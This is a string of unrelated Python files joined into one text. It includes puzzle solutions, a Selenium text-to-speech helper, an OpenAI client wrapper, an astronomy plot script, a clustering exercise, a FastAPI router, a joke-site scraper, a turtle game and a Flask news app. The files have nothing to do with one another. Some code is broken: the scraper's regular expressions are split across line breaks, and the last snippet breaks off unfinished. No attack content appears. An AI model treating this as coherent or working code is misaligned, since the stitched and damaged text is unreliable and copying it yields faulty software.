import re
from itertools import chain

def ints(line):
    return tuple(map(int, line.split(',')))

with open('input.txt') as f:
    par1, par2, par3 = f.read().split('\n\n')
    constraints = {}
    for line in par1.splitlines():
        field, rhs = line.split(': ')
        min1, max1, min2, max2 = map(int, re.findall(r'\d+', rhs))
        constraints[field] = (range(min1, max1 + 1), range(min2, max2 + 1))
    mine = ints(par2.splitlines()[1])
    nearby = [ints(line) for line in par3.splitlines()[1:]]

valid_nearby = []
error_rate = 0

for values in nearby:
    error = False
    for value in values:
        if all(value not in range_
               for ranges in constraints.values()
               for range_ in ranges):
            error_rate += value
            error = True
    if not error:
        valid_nearby.append(values)

print(error_rate) # Part 1

rows    = chain((mine,), valid_nearby)
columns = list(zip(*rows))

choices = [{field
            for field, ranges in constraints.items()
            if all(any(value in range_ for range_ in ranges)
                   for value in column)}
           for column in columns]

seen              = set()
translated_fields = []

answer = 1
for index, fields in sorted(enumerate(choices), key=lambda tpl: len(tpl[1])):
    (field,) = fields - seen # only works for this particular input
    seen.add(field)
    if field.startswith('departure'):
        answer *= mine[index]
print(answer) # Part 2


#Windows based
# import pyttsx3

# def speak(text):

#     engine = pyttsx3.init("sapi5")
#     voices =engine.getProperty('voices')
#     engine.setProperty('voices',voices[1].id)
#     engine.setProperty('rate',170)
#     # print(f"\n{text}")
#     engine.say(text)
#     engine.runAndWait()

import pai_window
from selenium import webdriver
from selenium.webdriver.support.ui import Select
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from time import sleep

chrome_options = Options()
chrome_options.add_argument('--log-level=3')
chrome_options.headless = True
Path = "DataBase\\chromedriver.exe"
driver = webdriver.Chrome(Path,options=chrome_options)
driver.maximize_window()

website = r"https://ttsmp3.com/text-to-speech/British%20English/"
driver.get(website)
ButtonSelection = Select(driver.find_element(by=By.XPATH,value='/html/body/div[4]/div[2]/form/select'))
ButtonSelection.select_by_visible_text('Indian English / Aditi')#British English / Brian

def speak(text):
    pai_window.ChatBot.addAppMsg(text)

    try:
        lengthoftext = len(str(text))
        if lengthoftext == 0:
            pass
        else:
            print("")
            print(f"PAI : {text}.")
            print("")
            Data = str(text)
            xpathofsec = '/html/body/div[4]/div[2]/form/textarea'
            driver.find_element(By.XPATH, value=xpathofsec).send_keys(Data)
            driver.find_element(By.XPATH, value='//*[@id="vorlesenbutton"]')\
                .click()
            driver.find_element(By.XPATH, value="/html/body/div[4]/div[2]/form/textarea")\
                .clear()
            if lengthoftext>=30:
                sleep(4)

            elif lengthoftext>=40:
                sleep(6)

            elif lengthoftext>=55:
                sleep(8)

            elif lengthoftext>=70:
                sleep(10)

            elif lengthoftext>=100:
                sleep(13)

            elif lengthoftext>=120:
                sleep(14)

            else:
                sleep(2)

    except Exception as e:
        print(f"An error occurred while processing the text, try after some time")
        print("\n\ntrying windows voice voice...")

        import pyttsx3

        engine = pyttsx3.init("sapi5")
        voices =engine.getProperty('voices')
        engine.setProperty('voices',voices[1].id)
        engine.setProperty('rate',170)
        # print(f"\n{text}")
        engine.say(text)
        engine.runAndWait()


import sys
input = sys.stdin.readline

def solution(a):
    answer = 0
    for i in a:
        if i.isdigit():
            answer += int(i)
    return answer

n = int(input())
lst = []
for i in range(n):
    lst.append(input().rstrip())

lst = sorted(lst, key=lambda x:(len(x), solution(x), x))

print(*lst, sep='\n')


#!/usr/bin/env python
#

from __future__ import print_function
import pkg_resources
pkg_resources.require('astropy>=2.0') # since 2.0 astropy.modeling.blackbody
import os, sys, re, json, time, astropy
import numpy as np
import astropy.io.ascii as asciitable
from astropy.table import Table, Column, hstack
#from astropy.convolution import convolve_fft
from numpy.fft import fft, ifft, fftfreq, fftshift, ifftshift
from matplotlib import pyplot as plt
from matplotlib import ticker as ticker
from copy import copy
from pprint import pprint
from datetime import datetime
#from astropy.cosmology import WMAP9 as cosmo
from astropy.cosmology import FlatLambdaCDM
cosmo = FlatLambdaCDM(H0=70, Om0=0.27, Tcmb0=2.725)
from astropy import units as u
from astropy import constants as const
from astropy.modeling.blackbody import blackbody_lambda, blackbody_nu
import scipy
from scipy.interpolate import interp1d
import matplotlib as mpl
mpl.rcParams['axes.labelsize'] = '12' # https://matplotlib.org/users/customizing.html
mpl.rcParams['axes.grid'] = True
mpl.rcParams['axes.axisbelow'] = True
mpl.rcParams['xtick.direction'] = 'in'
mpl.rcParams['ytick.direction'] = 'in'
mpl.rcParams['xtick.minor.visible'] = True
mpl.rcParams['ytick.minor.visible'] = True
mpl.rcParams['xtick.top'] = True
mpl.rcParams['ytick.right'] = True
#mpl.rcParams['grid.color'] = 'b0b0b0'
mpl.rcParams['grid.linestyle'] = '--'
mpl.rcParams['grid.linewidth'] = 0.25
mpl.rcParams['grid.alpha'] = 0.8
mpl.rcParams['text.usetex'] = True

sys.path.append(os.path.expanduser('~')+os.sep+'Cloud/Github/Crab.Toolkit.Python/lib/crab/crabpdbi/')
from CrabPdBI import ( find_radio_lines_in_frequency_range,
                       calc_radio_line_frequencies,
                       calc_radio_line_flux_from_IR_luminosity,
                       convert_flux2lprm,
                       convert_flux2lsun,
                       convert_lprm2lsun,
                     )

sys.path.append(os.path.expanduser('~')+os.sep+'Cloud/Github/Crab.Toolkit.Python/lib/crab/crabplot/')
from CrabPlot import ( CrabPlot )

if __name__ == '__main__':
    lgLIR = np.arange(8.0,14.0,0.1)
    x = []
    y = []
    x2 = []
    y2 = []
    for i in range(len(lgLIR)):
        IR_luminosity = 10**(lgLIR[i])
        z = 3.0
        IR_color = 0.6
        rest_freq, line_name = calc_radio_line_frequencies('OIII 88', set_output_line_names = True)
        dL = cosmo.luminosity_distance(z).to(u.Mpc).value
        line_flux = calc_radio_line_flux_from_IR_luminosity(line_name, IR_luminosity, z, starburstiness = 0.0, IR_color = IR_color, verbose = False)
        line_lprm = convert_flux2lprm(line_flux, rest_freq, z)
        line_lsun = convert_lprm2lsun(line_lprm, rest_freq)
        x.append(line_lprm)
        y.append(IR_luminosity)
        print('IR_luminosity = %e, line_lsun = %e, line_flux = %g'%(IR_luminosity, line_lsun, line_flux) )

        line_flux = calc_radio_line_flux_from_IR_luminosity(line_name, IR_luminosity, z, starburstiness = 1.0, IR_color = IR_color, verbose = False)
        line_lprm = convert_flux2lprm(line_flux, rest_freq, z)
        line_lsun = convert_lprm2lsun(line_lprm, rest_freq)
        x2.append(line_lprm)
        y2.append(IR_luminosity)

    cplot = CrabPlot()
    cplot.plot_xy(x, y, xlog=1, ylog=1, xtitle=r'$L_{\mathrm{[OIII]}}$', ytitle=r'$L_{\mathrm{IR}}$', label='dzliu model MS')
    cplot.plot_xy(x2, y2, overplot=1, color='red', label='dzliu model SB')

    lgLsunOIII88 = ((lgLIR-10+0.05) + 7.48) / 1.12 # De Looze et al. 2014 Table 3 "SFR calibration: entire literature sample". Note that they are using Kroupa IMF
    cplot.plot_line(10**lgLsunOIII88, 10**lgLIR, overplot=1, linewidth=20, alpha=0.5, color='gold', label='De Looze+2014')

    cplot.ax().legend(fontsize=20)

    cplot.save('Plot_test_1_OIII.pdf')


import openai
import os
from dotenv import load_dotenv
load_dotenv()
OPENAI_API_KEY = os.getenv('OPENAI_API_KEY')

class OpenAIClient:

    # If need to accept user chat, implement this
    def sanitize_text(self, text: str) -> str:
        raise NotImplementedError
        # if '{' in text:
        #     text = text.replace('{', '{{')
        # if '}' in text:
        #     text = text.replace('}', '}}')
        # return text

    async def send_message(
        self,
        system_prompt: str,
        ai_prompt: str,
        user_prompt: str,
        model_name: str,
        frequency_penalty: int = 0,
        temperature: float = 0.9,
    ):
        """
        Send message to LLM.
        Returns the LLM's reply.
        """
        openai.api_key = OPENAI_API_KEY
        openai_prompt = []

        # Add initial prompt
        openai_prompt.append({"role": "system", "content": system_prompt})
        openai_prompt.append({"role": "assistant", "content": ai_prompt})
        openai_prompt.append({"role": "user", "content": user_prompt})

        completion = await openai.ChatCompletion.acreate(
            model=model_name,
            frequency_penalty=frequency_penalty,
            temperature=temperature,
            messages=openai_prompt,
        )

        reply = completion.choices[0].message.content

        return {"reply": reply}


# -*- coding: utf-8 -*-
"""
Created on Fri Mar 11 08:32:57 2016

@author: FranciscoP.Romero
"""

import sqlite3 as lite
import codecs
import os
import matplotlib.pyplot as plt
import sklearn.neighbors
import numpy as np

# def function load data
def loaddata(filename):
	dbfile = filename
	con = lite.connect(dbfile)
	cur = con.cursor()
	data = []
	for row in cur.execute('SELECT longitud,latitud FROM incidencias' ):
		data.append([float(row[0]), float(row[1])])
	return data

def plotdata(data,labels,name): #def function plotdata
#colors = ['black']
    fig, ax = plt.subplots()
    plt.scatter([row[0] for row in data], [row[1] for row in data], c=labels)
    ax.grid(True)
    fig.tight_layout()
    plt.title(name)
    plt.show()

# 0. load and plot data (datos.csv)
data = loaddata("data_inicidencias2.db")
labels = [0 for x in range(len(data))]
plotdata(data,labels,'basic')

# 1. setting parameters
# 1.1 Compute the similarity/distance matrix (high cost)
# The graphic could offer better results (improve it!!)
dist = sklearn.neighbors.DistanceMetric.get_metric('euclidean')
matsim = dist.pairwise(data)
# 1.2 Compute the k-nearest neighboors
minPts=5
from sklearn.neighbors import kneighbors_graph
A = kneighbors_graph(data, minPts, include_self=False)
Ar = A.toarray()

seq = []
for i,s in enumerate(data):
    for j in range(len(data)):
        if Ar[i][j] != 0:
            seq.append(matsim[i][j])

seq.sort()
plt.plot(seq)
plt.show()

# 2. Execute clustering (dbscan)
import sklearn.cluster
labels = sklearn.cluster.DBSCAN(eps=0.005, min_samples=minPts).fit_predict(data)

# 3. Plot the results
plotdata(data,labels, 'dbscan')

# 4. Validation
from sklearn import metrics
print("Silhouette Coefficient: %0.3f"
      % metrics.silhouette_score(np.asarray(data), labels))
print("N. Clusters: %d" % (len(set(labels)) - (1 if -1 in labels else 0)))


# 소수(에라토스테네스 체)
# 자연수 N이 입력되면 1부터 N까지의 소수의 개수를 출력하는 프로그램을 작성하세요.
# 만약 20이 입력되면 1부터 20까지의 소수는 2, 3, 5, 7, 11, 13, 17, 19로 총 8개입니다.
# 제한시간은 1초입니다. ▣입력설명첫 줄에 자연수의 개수 N(2<=N<=200,000)이 주어집니다.
# ▣출력설명 첫 줄에 소수의 개수를 출력합니다.
# ▣입력예제 1  20
# ▣출력예제 18

import os
import sys
import time
path="./2/7/"
file_list=os.listdir(path)
file_list_in= [file for file in file_list if file.startswith('in')]
file_list_out= [file for file in file_list if file.startswith('out')]
file_list_in.sort()
file_list_out.sort()

def calculate (input_number):
  # cnt = 0
  # prime_number_list = list(range(2, input_number+1))
  # for i in range(2, input_number+1):
  #   for j in range(2, input_number):
  #     if i%j==0:
  #       prime_number_list.remove(i)
  return False

def algorithm (input_number):
  if input_number==2:
    return 1
  ch=[0]*(input_number+1)
  cnt=0
  for i in range(2, input_number):
    if ch[i]==0:
      cnt+=1
      for j in range(i, input_number+1, i):
        ch[j]=1
  return cnt

start = time.time()
for file in file_list_in:
  sys.stdin=open(path + file, 'rt')
  a = int(input())
  # answer = calculate(a)
  answer = algorithm(a)
  print(answer)
print('실행시간 :', time.time() - start)


from stations_challenge import *

# from stations_challenge import SubwayStation

station_Macy_central = BusStation(station_name="Macy Station", location="14th street and Park Avenue", routes="Downtown, Chicago")
station_Macy_central.show_info()
#our_bus.close_station()
#our_bus.show_info()

station_grand_central = SubwayStation(station_name="14th street", location="14th street and 7th avenue", lines=["Downtown","Near North"])
station_grand_central.show_info()
#our_bus.close_station()
#our_bus.show_info()

station_union_square = BusStation(station_name="Carson Pirie Scott Station", location="24th street and Madison Avenue", routes=["Uptown", "Chicago"])
station_union_square.show_info()
# our_bus.close_station()
# our_bus.show_info()


from fastapi import APIRouter, Depends

from ..database.chapter import ChapterCrud
from ..database.lesson import LessonCrud
from ..database.quiz import QuizCrud
from ..middleware.auth import require_author, require_existed
from ..middleware.purchase import require_enrolled
from ..schema.base import Detail
from ..schema.chapter import Chapter, ChapterUpdate
from ..schema.lesson import Lesson, LessonCreate

chapter_router = APIRouter()

@chapter_router.get("/{id}", response_model=Chapter, tags=["Chapter"])
async def read_chapter_by_id(chapter: ChapterCrud = Depends(require_existed(ChapterCrud))):
    return chapter

@chapter_router.put("/{id}", response_model=Detail, tags=["Expert", "Chapter"])
async def update_chapter_by_id(data: ChapterUpdate, chapter: ChapterCrud = Depends(require_author(ChapterCrud))):
    await ChapterCrud.update_by_id(chapter.id, data.dict(exclude_none=True))
    return {"detail": "Updated"}

@chapter_router.delete("/{id}", response_model=Detail, tags=["Expert", "Chapter"])
async def delete_chapter_by_id(chapter: ChapterCrud = Depends(require_author(ChapterCrud))):
    await ChapterCrud.delete_by_id(chapter.id)
    return {"detail": "Deleted"}

@chapter_router.get("/{id}/lesson", response_model=list[Lesson], tags=["Chapter", "Lesson"])
async def read_chapter_lessons_by_chapter_id(limit: int = 10, offset: int = 0, chapter: ChapterCrud = Depends(require_enrolled(ChapterCrud))):
    return [
        {
            **lesson,
            "has_quiz": await QuizCrud.exist_by_lesson_id(lesson.id)
        }
        for lesson in await LessonCrud.find_all_by_chapter_id(chapter.id, limit, offset)
    ]

@chapter_router.post("/{id}/lesson", response_model=Detail, tags=["Expert", "Chapter", "Lesson"])
async def create_chapter_lesson_by_chapter_id(data: LessonCreate, chapter: ChapterCrud = Depends(require_author(ChapterCrud))):
    return {
        "detail": await LessonCrud.create({
            **data.dict(),
            "chapter_id": chapter.id,
        })
    }


"""
A Long Long Time
Create a function that takes three values:

h hours
m minutes
s seconds
Return the value that's the longest duration.

Examples
longest_time(1, 59, 3598) ➞ 1

longest_time(2, 300, 15000) ➞ 300

longest_time(15, 955, 59400) ➞ 59400
Notes
No two durations will be the same.
"""

def longest_time(h, m, s):

    # return max((h*3600, h), (m*60, m), (s, s))[1]

    m = {h*60*60:h, m*60:m, s:s}
    return m[max(m)]

    # res = {h: h,
    #        m: m,
    #        s: s
    #        }
    #
    # res[h] = res[h] * 60 * 60
    # res[m] = res[m] * 60
    #
    # return max(res, key=res.get)

print(longest_time(1, 59, 3598))
print(longest_time(2, 300, 15000))


import time
import multiprocessing

# ~~ 코드를 실행했는데, 이 코드를 수행하는데 걸린 시간??

def add_func(start, end, li):
    for i in range(start, end + 1):
        li.put(i)

# main thread

# target -> 쓰레드가 실행할 함수
li = multiprocessing.Queue()
th = multiprocessing.Process(target = add_func, args=(0, 100000000 // 2, li))
th2 = multiprocessing.Process(target= add_func, args=(100000000 // 2, 100000000, li))

s = time.time()

th.start() # 해당 쓰레드가 일 하러 감.
th2.start()
th.join() # 이 매서드를 실행한 쓰레드에 th ( thread ) 를 join
th2.join()

#print(result) # print 를 실행한 장소 ( main thread )
f = time.time()

li.put('end')

sum = 0

while True:
    t = li.get()
    if t == 'end':
        break
    else:
        sum = sum + t

print(f"실행 소유시간 : {f-s}")


# -*- coding:utf-8 -*-
import requests
import json,re
from jsonpath import jsonpath

class Neihan_Spider:
    '''内涵段子'''
    def __init__(self):
        self.url = 'http://www.neihanshequ.com/'
        self.next_url = 'http://www.neihanshequ.com/joke/?is_json=1&app_name=neihanshequ_web&max_time={}'
        self.headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36'}
        self.session = requests.session()
        self.count=0

    def get_url(self,url):
        '''获取请求'''
        print(url)
        resp = self.session.get(url,headers=self.headers)
        return resp.content.decode()

    def get_first_url(self,resp):
        '''构造页码'''
        print('首页信息。。。。')
        max_time = re.compile(r"max_time:.'(.*?).,\n", re.S)
        data = re.compile(r"
.*?
(.*?)
",re.S)
        p = data.findall(resp)
        max_time =max_time.findall(resp)[0]
        return max_time,p

    def pasms_str(self,data):
        '''处理每页数据'''
        resp_json = json.loads(data)
        resp_text = jsonpath(resp_json,'$..text')
        has_more = jsonpath(resp_json, '$..has_more')[0]
        max_time = jsonpath(resp_json, '$..max_time')[0]
        return resp_text,has_more,max_time

    def save_data(self,data):
        '''保存数据'''
        with open('内涵段子.txt','a',encoding='utf8') as f:
            for text in data:
                f.write(text)
                f.write('\n')
                # print(text)
                self.count+=1
                print(self.count)
    def run(self):
        '''逻辑处理'''
        # 1.请求首页
        resp = self.get_url(self.url)
        # 2.获取第一页内容
        max_time,data= self.get_first_url(resp)
        self.save_data(data)
        print(max_time)

        has_more =True
        # 当has_more等于True时，说明没有爬去完毕
        while has_more:
            # 获取第下一页数据
            resp_next = self.get_url(self.next_url.format(max_time))
            resp_text,has_more,max_time = self.pasms_str(resp_next)
            self.save_data(resp_text)

if __name__ == '__main__':
    neihan = Neihan_Spider()
    neihan.run()


from datasetPendulo import PenduloInvertido
import pickle
import matplotlib.pyplot as plt

def test():
    anguloInicial = 0.5
    velocidadInicial = -1.2
    masaCarrito = 5
    masaBarra = 1
    longitud = 0.5
    diferencialTiempo = 0.01
    pendulo = PenduloInvertido (anguloInicial,velocidadInicial,masaCarrito,masaBarra,longitud,diferencialTiempo)

    with open('training/Red.pkl', 'rb') as input:

        Red = pickle.load(input)
        h = 0
        while True:
            h = h + 1
            aux = [pendulo.angulo, pendulo.velocidad]

            for i in range(len(aux)):
                aux[i] = (aux[i] - Red.media) / Red.desviacion

            for i in range(len(aux)):
                aux[i] = aux[i] / Red.factorData

            maximo = 0.8
            minimo = 0.2
            for i in range(len(aux)):
                aux[i] = (maximo - minimo) * (aux[i] + 1) / 2 + minimo

            fuerza = Red.buscarSalidaRed(aux)

            fuerza = (fuerza[0] - minimo) * 2 / (maximo - minimo) - 1
            fuerza = fuerza * Red.factorSalida
            # print ("Resultado Obtenido", categoria[0])
            pendulo.control(fuerza)
            print (h)
            if h == 500:
                break

    fig = plt.figure()
    plt.plot(pendulo.vectorTiempo,pendulo.vectorAngulos,'r')
    plt.plot(pendulo.vectorTiempo,pendulo.vectorVelocidad)
    #plt.scatter(pendulo.vectorTiempo,pendulo.vectorAceleracion)
    plt.show()

if __name__ == '__main__':
    test()


#!/usr/bin/env python3
# %%
import logging
import collections

###############################################################################

def part1(data):
    # solution stolen from
    # https://www.reddit.com/r/adventofcode/comments/7kc0xw/2017_day_17_solutions/drd6kck/
    steps = int(data)
    spinlock = collections.deque([0])

    for i in range(1, 2017 + 1):
        # spin to win
        spinlock.rotate(-steps)
        logging.debug("[%d] rotate: %r" % (i, spinlock))

        # insert at position
        spinlock.append(i)
        logging.debug("[%d] insert: %r" % (i, spinlock))

    return spinlock[0]

def part2(data):
    steps = int(data)
    spinlock = collections.deque([0])

    for i in range(1, 50000000 + 1):
        spinlock.rotate(-steps)
        spinlock.append(i)

    return spinlock[spinlock.index(0) + 1]

###############################################################################

if __name__ == '__main__':
    import argparse
    import time

    parser = argparse.ArgumentParser(description='AoC 2017-17 Solution')
    parser.add_argument(
        'INPUT',
        nargs='?',
        default="input.txt",
        help='Input file to run the solution with.')
    parser.add_argument(
        '-v',
        '--verbose',
        action="store_true",
        help='Turn on verbose logging.')
    parser.add_argument(
        '-1',
        '--no-part1',
        action="store_true",
        help='Exclude Part 1 solution from run.')
    parser.add_argument(
        '-2',
        '--no-part2',
        action="store_true",
        help='Exclude Part 2 solution from run.')
    args = parser.parse_args()

    if args.verbose:
        logging.basicConfig(level=logging.DEBUG)

    with open(args.INPUT) as f:
        data = f.read()

    if not args.no_part1:
        start = time.clock()
        result = part1(data)
        t = time.clock() - start
        print("Part 1: [%.3f] %r" % (t, result))
    if not args.no_part2:
        start = time.clock()
        result = part2(data)
        t = time.clock() - start
        print("Part 2: [%.3f] %r" % (t, result))


#!/usr/bin/env python3
"""
Combines express output tables, collapsing on gene symbol by effective count

Usage: collapse_merge_express.py <ct_list> <type_list> <field>

Arguments:
  <ct_list> list of express count files
  <type_list> list of transcript types to accept. Type None not to use one
  <field> name of field to collapse on or default for est_counts

Options:
  -h
"""
from docopt import docopt

args = docopt(__doc__)
import sys
import os
import re
import pdb

s_list = []
g_dict = {}
g_list = []
tbl_dict = {}
ty_flag = 'N'
ty_dict = {}

if args['<type_list>'] != 'None':
    ty_flag = 'Y'
    for line in open(args['<type_list>']):
        line = line.rstrip('\n')
        ty_dict[line] = 1

for report in open(args['<ct_list>']):
    report = report.rstrip('\n')
    fn = os.path.basename(report)
    parts = fn.split('.')
    s_list.append(parts[0])
    fh = open(report)
    head = next(fh)
    head_vals = head.rstrip('\n').split('\t')
    f = 9
    if args['<field>'] != 'default':
        flag = 0
        for i in range(len(head_vals)):
            if head_vals[i] == args['<field>']:
                f = i
                flag = 1
                break
        if flag == 0:
            sys.stderr.write('Field name ' + args['<field>'] + ' not found.  Using default!\n')

    for line in fh:
        info = line.rstrip('\n').split()
        gene = re.sub('-\d+$', '', info[0])
        if ty_flag == 'N' or info[1] in ty_dict:
            if gene not in g_dict:
                g_list.append(gene)
                g_dict[gene] = 1
                tbl_dict[gene] = {}
            if parts[0] not in tbl_dict[gene]:
                tbl_dict[gene][parts[0]] = {}
                tbl_dict[gene][parts[0]]['ct'] = 0.0
                tbl_dict[gene][parts[0]]['len'] = float(info[5])
                tbl_dict[gene][parts[0]]['tct'] = 0
            else:
                tbl_dict[gene][parts[0]]['len'] = tbl_dict[gene][parts[0]]['len'] * float(info[5])
            tbl_dict[gene][parts[0]]['ct'] += float(info[f])
            tbl_dict[gene][parts[0]]['tct'] += 1
    fh.close()

# no header for gfold output, gene_id\tgene_sym\tcount_chosen\tgeo_mean_gene_len_gene_len\tcount_chosen
out_fh = {}
for samp in s_list:
    out_fh[samp] = open(samp + '.read_cnt', 'w')
for gene in g_list:
    for samp in s_list:
        out_fh[samp].write(gene + '\t' + gene)
        if samp in tbl_dict[gene]:
            ct = str(int(round(tbl_dict[gene][samp]['ct'])))
            length = tbl_dict[gene][samp]['len']
            tx_ct = tbl_dict[gene][samp]['tct']
            if tx_ct > 1:
                length = length**(1/float(tx_ct))
            length = str(int(round(length)))
            out_fh[samp].write('\t' + ct + '\t' + length + '\t' + ct + '\n')
        else:
            out_fh[samp].write('\t0\t1\t0\n')

for samp in s_list:
    out_fh[samp].close()


def setup_game():
    global screen
    screen = turtle.Screen()
    screen.setup(600, 400, 0, 0)

def initialize_turtle():
    global move_speed, turtle_x, turtle_y

    # adjust the appearance of the turtle
    turtle.hideturtle()
    turtle.shape("turtle")
    turtle.shapesize(2, 2)
    turtle.setheading(90)

    move_speed = 10
    turtle_x = 0
    turtle_y = -200

    turtle.penup()
    turtle.speed(0)
    turtle.goto(turtle_x, turtle_y)
    turtle.showturtle()

def initialize_car():
    global screen, car, car_x, car_y
    image = "greenbugcar.gif"  # This image needs to be placed in the same folder
    screen.register_shape(image)
    car = turtle.Turtle(shape=image)
    car.hideturtle()
    car.penup()
    car_x = random.randint(-300, 300)
    car_y = 0
    car.goto(car_x, car_y)
    car.showturtle()

def left():
    global turtle_x, turtle_y, move_speed
    if turtle_x - move_speed > -300:
        turtle_x = turtle_x - move_speed

def right():
    global turtle_x, turtle_y, move_speed
    if turtle_x + move_speed < 300:
        turtle_x = turtle_x + move_speed

def down():
    global turtle_x, turtle_y, move_speed
    if turtle_y - move_speed > -200:
        turtle_y = turtle_y - move_speed

def up():
    global turtle_x, turtle_y, move_speed
    if turtle_y + move_speed < 200:
        turtle_y = turtle_y + move_speed

def move_turtle():
    global turtle_x, turtle_y, turtle
    turtle.goto(turtle_x, turtle_y)

def move_car():
    global car_x, car_y, car, move_speed
    car_x = car_x + move_speed
    car.goto(car_x, car_y)

def check_hit():
    global turtle_x, turtle, car, not_hit

    car_left_x = car.xcor() - 15
    car_right_x = car.xcor() + 20
    turtle_left_x = turtle.xcor() - 20
    turtle_right_x = turtle.xcor() + 20

    car_down_y = car.ycor() - 15
    car_up_y = car.ycor() + 20
    turtle_down_y = turtle.ycor() - 20
    turtle_up_y = turtle.ycor() + 20

    y_match = turtle_right_x > car_left_x and turtle_left_x < car_right_x
    x_match = turtle_down_y < car_up_y and turtle_up_y > car_down_y
    if y_match and x_match:
        print("Collision")
        not_hit = False
        turtle.stamp()
        turtle.hideturtle()
        turtle.color("gold4")
        turtle.goto(0, 140)
        turtle.write("Finished", font=("Arial", 40), align="center")

def check_off_screen():
    global car_x, car_y, playing

    if car_x > 300:
        print("Car Off the screen")
        car_x = -300
        car.hideturtle()
        car.goto(car_x, car_y)
        car.showturtle()

#### Main Program

import turtle, time, random

setup_game()
initialize_turtle()
initialize_car()

# Events
screen.onkey(left, "Left")
screen.onkey(right, "Right")
screen.onkey(up, "Up")
screen.onkey(down, "Down")
screen.listen()

# Game Loop
playing = True
not_hit = True
while playing and not_hit:
    move_turtle()
    move_car()
    check_hit()
    check_off_screen()
    #time.sleep(0.1)

# Deactivate the Events
screen.onkey(None, "Left")
screen.onkey(None, "Right")
screen.onkey(None, "Up")
screen.onkey(None, "Down")

screen.exitonclick()


"""
N個のメモをリストに格納
[0, 0, 0,..., 0] で初期化
入力行におけるi番目の数字がM以上であれば，i番目の要素に1を代入

"""

N, M = map(int, input().split())

memo = []
for i in range(N):
    memo.append(0)

for i in range(N):
    rs = input().split()
    for j in range(N):
        if int(rs[j]) >= M:
            memo[j] = 1

result = []
for i in range(N):
    if memo[i] == 0:
        result.append(i+1)

if len(result) == 0:
    print("wait")
else:
    print(*result)


class Persona():

    def __init__(self, nombre, apellido, edad, meta):
        self.nombre = nombre
        self.apellido = apellido
        self.edad = edad
        self.meta = meta

    def saluda (self):
        return f'hola, me llamo {self.nombre} {self.apellido} y tengo {self.edad} años'

    def camina(self, pasos):
        if pasos>=self.meta:
            return f'Felicidades {self.nombre}. Cumpliste tu meta diaria'
        else:
            return 'No lograste tus metas. Ponete las pilas'

persona1=Persona('Lionel','Messi',35,5000)
persona2=Persona('Cristiano','Ronaldo',37,4000)

print(persona1.camina(4500))
print(persona2.camina(4500))


import os
# re 字符串切割
import re

# flask 网页后端
from flask import Flask
from flask import render_template, send_from_directory

app = Flask(__name__)

# 4.6.7.8.9.10.11.12.13.14

# part 5
# 教育
@app.route('/edu')
def edu():
    all_new = []
    with open(os.getcwd() + "/datasets/13_教育.txt", encoding='utf-8') as f:
        for line in f.readlines():
            split_line = re.split('\t', line)

            all_new.append({
                'title': split_line[0],
                'url': split_line[2]
            })
    return render_template('edu.html', all_new=all_new)

# 公益
@app.route('/community')
def community():
    all_new = []
    with open(os.getcwd() + "/datasets/12_旅游.txt", encoding='utf-8') as f:
        for line in f.readlines():
            split_line = re.split('\t', line)

            all_new.append({
                'title': split_line[0],
                'url': split_line[2]
            })
    return render_template('community.html', all_new=all_new)

# part 4
# 游戏
@app.route('/game')
def game():
    all_new = []
    with open(os.getcwd() + "/datasets/11_游戏.txt", encoding='utf-8') as f:
        for line in f.readlines():
            split_line = re.split('\t', line)

            all_new.append({
                'title': split_line[0],
                'url': split_line[2]
            })
    return render_template('game.html', all_new=all_new)

# 旅游
@app.route('/travel')
def travel():
    all_new = []
    with open(os.getcwd() + "/datasets/12_旅游.txt", encoding='utf-8') as f:
        for line in f.readlines():
            split_line = re.split('\t', line)

            all_new.append({
                'title': split_line[0],
                'url': split_line[2]
            })
    return render_template('travel.html', all_new=all_new)

# part 3
# 房产
@app.route('/property')
def property():
    all_new = []
    with open(os.getcwd() + "/datasets/9_房产.txt", encoding='utf-8') as f:
        for line in f.readlines():
            split_line = re.split('\t', line)

            all_new.append({
                'title': split_line[0],
                'url': split_line[2]
            })
    return render_template('property.html', all_new=all_new)

# 阅读
@app.route('/read')
def read():
    all_new = []
    with open(os.getcwd() + "/datasets/10_读书.txt", encoding='utf-8') as f:
        for line in f.readlines():
            split_line = re.split('\t', line)

            all_new.append({
                'title': split_line[0],
                'url': split_line[2]
            })
    return render_template('read.html', all_new=all_new)

# part 2
# 体育
@app.route('/sport')
def sport():
    all_new = []
    with open(os.getcwd() + "/datasets/4_体育.txt", encoding='utf-8') as f:
        for line in f.readlines():
            split_line = line.split('\t')

            all_new.append({
                'title': split_line[0],
                'url': split_line[2]
            })
    return render_template('sport.html', all_new=all_new)

# 科技
@app.route('/tech')
def tech():
    all_new = []
    with open(os.getcwd() + "/datasets/6_科技.txt", encoding='utf-8') as f:
        # 读每一行
        for line in f.readlines():
            # 按tab键切割字符串
            split_line = line.split('\t')

            all_new.append({
                'title': split_line[0],
                'url': split_line[2]
            })
    # 使用模板消息渲染
    return render_template('tech.html', all_new=all_new)

# part 1

# 汽车
@app.route('/car')
def car():
    news = []
    with open(os.getcwd() + "/datasets/7_汽车.txt", encoding='utf-8') as f:
        # 读每一行
        for line in f.readlines():
            # 按tab键切割字符串
            split_line = line.split('\t')

            news.append({
                'title': split_line[0],
                'url': split_line[2]
            })
    # 使用模板消息渲染
    return render_template('car.html', news=news)

# 女人
@app.route('/female')
def female():
    news = []
    # 打开文件
    with open(os.getcwd() + "/datasets/8_女人.txt", encoding='utf-8') as f:
        for line in f.readlines():
            split_line = line.split('\t')
            news.append({
                'title': split_line[0],
                'url': split_line[2]
            })
    # 返回渲染
    return render_template('female.html', news=news)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/favicon.ico')
def favicon():
    return send_from_directory(os.path.join(app.root_path, 'static'),
                               'favicon.ico', mimetype='image/vnd.microsoft.icon')

if __name__ == '__main__':
    # 运行flask 后端
    # 访问 http://localhost:5000/{相关的url}
    # 例如 http://localhost:5000/female
    app.run()


N = int(input())
AT = [tuple(map(int, input().split())) for _ in range(N)]
INF = 10**20

C = [0]*N
for i, (a, t) in enumerate(AT):
  if t==1: C[i] = a

S = [0]
for c in C:
  S.append(S[-1] + c)
Z = S[-1]

vmax = +INF
vmin = -INF
for i, (a, t) in enumerate(AT):
  aa = a + Z - S[i]
  if t==2:
    vmin = max(vmin, aa)
    vmax = max(vmax, vmin)
  if t==3:
    vmax = min(vmax, aa)
    vmin = min(vmin, vmax)

def F(x):
  return max(vmin, min(vmax, x + Z))

Q = int(input())
